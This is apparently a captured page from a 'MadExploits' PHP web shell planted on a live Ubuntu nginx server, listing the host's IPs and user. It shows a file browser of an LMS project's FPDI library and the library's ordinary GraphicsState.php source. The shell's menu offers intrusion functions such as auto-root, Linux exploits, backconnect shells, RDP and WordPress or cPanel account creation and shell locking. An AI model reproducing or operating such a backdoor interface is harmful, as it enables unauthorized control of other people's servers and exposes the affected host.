Linux ubuntu22 5.15.0-133-generic #144-Ubuntu SMP Fri Feb 7 20:47:38 UTC 2025 x86_64
nginx/1.18.0
: 128.199.27.159 | : 216.73.216.159
Cant Read [ /etc/named.conf ]
8.1.31
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
html /
lms-api /
vendor /
setasign /
fpdi /
src /
[ HOME SHELL ]
Name
Size
Permission
Action
Math
[ DIR ]
drwxrwxr-x
PdfParser
[ DIR ]
drwxrwxr-x
PdfReader
[ DIR ]
drwxrwxr-x
Tcpdf
[ DIR ]
drwxrwxr-x
Tfpdf
[ DIR ]
drwxrwxr-x
FpdfTpl.php
389
B
-rw-rw-r--
FpdfTplTrait.php
14.11
KB
-rw-rw-r--
FpdfTrait.php
6.6
KB
-rw-rw-r--
Fpdi.php
748
B
-rw-rw-r--
FpdiException.php
355
B
-rw-rw-r--
FpdiTrait.php
23.03
KB
-rw-rw-r--
GraphicsState.php
2.06
KB
-rw-rw-r--
TcpdfFpdi.php
559
B
-rw-rw-r--
autoload.php
629
B
-rw-rw-r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : GraphicsState.php
<?php /** * This file is part of FPDI * * @package setasign\Fpdi * @copyright Copyright (c) 2024 Setasign GmbH & Co. KG (https://www.setasign.com) * @license http://opensource.org/licenses/mit-license The MIT License */ namespace setasign\Fpdi; use setasign\Fpdi\Math\Matrix; use setasign\Fpdi\Math\Vector; /** * A simple graphic state class which holds the current transformation matrix. */ class GraphicsState { /** * @var Matrix */ protected $ctm; /** * @param Matrix|null $ctm */ public function __construct($ctm = null) { if ($ctm === null) { $ctm = new Matrix(); } elseif (!($ctm instanceof Matrix)) { throw new \InvalidArgumentException('$ctm must be an instance of Fpdi\\Matrix or null'); } $this->ctm = $ctm; } /** * @param Matrix $matrix * @return $this */ public function add(Matrix $matrix) { $this->ctm = $matrix->multiply($this->ctm); return $this; } /** * @param int|float $x * @param int|float $y * @param int|float $angle * @return $this */ public function rotate($x, $y, $angle) { if (abs($angle) < 1e-5) { return $this; } $angle = deg2rad($angle); $c = cos($angle); $s = sin($angle); $this->add(new Matrix($c, $s, -$s, $c, $x, $y)); return $this->translate(-$x, -$y); } /** * @param int|float $shiftX * @param int|float $shiftY * @return $this */ public function translate($shiftX, $shiftY) { return $this->add(new Matrix(1, 0, 0, 1, $shiftX, $shiftY)); } /** * @param int|float $scaleX * @param int|float $scaleY * @return $this */ public function scale($scaleX, $scaleY) { return $this->add(new Matrix($scaleX, 0, 0, $scaleY, 0, 0)); } /** * @param Vector $vector * @return Vector */ public function toUserSpace(Vector $vector) { return $vector->multiplyWithMatrix($this->ctm); } }
Close